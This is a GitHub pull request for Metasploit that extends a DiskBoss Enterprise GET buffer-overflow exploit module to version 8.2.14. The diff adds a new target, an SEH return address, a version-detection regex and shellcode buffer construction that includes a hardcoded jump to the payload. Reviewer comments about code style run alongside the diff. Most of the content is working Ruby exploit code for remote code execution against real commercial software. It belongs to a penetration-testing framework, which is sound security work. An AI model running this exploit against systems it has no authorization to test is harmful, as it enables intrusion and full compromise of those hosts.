Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Update DiskBoss Module (EDB 42395) #9268

Merged
merged 2 commits into from
Dec 28, 2017
Merged

Update DiskBoss Module (EDB 42395) #9268

Changes from 1 commit
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
c791865
Update DiskBoss Module (EDB 42395)
jrobles-r7 Dec 1, 2017
604b949
Updated per review comments.
pbarry-r7 Dec 8, 2017
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
43 changes: 33 additions & 10 deletions modules/exploits/windows/http/diskboss_get_bof.rb
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -14,20 +14,23 @@ def initialize(info = {})
'Name' => 'DiskBoss Enterprise GET Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability
in the web interface of DiskBoss Enterprise v7.5.12 and v7.4.28,
in the web interface of DiskBoss Enterprise v7.5.12, v7.4.28, and v8.2.14,
caused by improper bounds checking of the request path in HTTP GET
requests sent to the built-in web server. This module has been
tested successfully on Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'vportal', # Vulnerability discovery and PoC
'Gabor Seljan' # Metasploit module
'vportal', # Vulnerability discovery and PoC
'Gabor Seljan', # Metasploit module
'Ahmad Mahfouz', # Vulnerability discovery and PoC
'Jacob Robles' # Metasploit module
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd reorder to put your name next to Gabor's.

],
'References' =>
[
['EDB', '40869']
['EDB', '40869'],
['EDB', '42395']
],
'DefaultOptions' =>
{
Expand Down Expand Up @@ -60,6 +63,13 @@ def initialize(info = {})
'Offset' => 2471,
'Ret' => 0x100461da # ADD ESP,0x68 # RETN [libpal.dll]
}
],
[
'DiskBoss Enterprise v8.2.14',
{
'Offset' => 2496,
'Ret' => 0x1002A8CA # SEH : # POP EDI # POP ESI # RET 04 [libpal.dll]
}
]
],
'Privileged' => true,
Expand All @@ -74,7 +84,7 @@ def check
)

if res && res.code == 200
if res.body =~ /DiskBoss Enterprise v7\.(4\.28|5\.12)/
if res.body =~ /DiskBoss Enterprise v(7\.4\.28|7\.5\.12|8\.2\.14)/
return Exploit::CheckCode::Vulnerable
elsif res.body =~ /DiskBoss Enterprise/
return Exploit::CheckCode::Detected
Expand Down Expand Up @@ -105,6 +115,8 @@ def exploit
mytarget = targets[1]
elsif res.body =~ /DiskBoss Enterprise v7\.5\.12/
mytarget = targets[2]
elsif res.body =~ /DiskBoss Enterprise v8\.2\.14/
mytarget = targets[3]
end
end

Expand All @@ -115,11 +127,22 @@ def exploit
print_status("Selected Target: #{mytarget.name}")
end

sploit = make_nops(21)
sploit << payload.encoded
sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
sploit << [mytarget.ret].pack('V')
sploit << rand_text_alpha(2500)
if !(mytarget == targets[3])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

How about rewriting this to use positive logic?

if mytarget == targets[3]
  do_some_stuff
else
  do_some_other_stuff
end

sploit = make_nops(21)
sploit << payload.encoded
sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
sploit << [mytarget.ret].pack('V')
sploit << rand_text_alpha(2500)
else
seh = generate_seh_record(mytarget.ret)
sploit = payload.encoded
sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
sploit[sploit.length, seh.length] = seh
sploit << make_nops(10)
sploit << "\xE9\x25\xBF\xFF\xFF" # JMP to ShellCode
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

How about Rex::Arch::X86.jmp(0xffffbf25) and document what the address is?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I took a note to look this up and add it later, will land for now. Thx!

sploit << rand_text_alpha(5000 - sploit.length)

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nix this newline when you refactor.

end

send_request_cgi(
'method' => 'GET',
Expand Down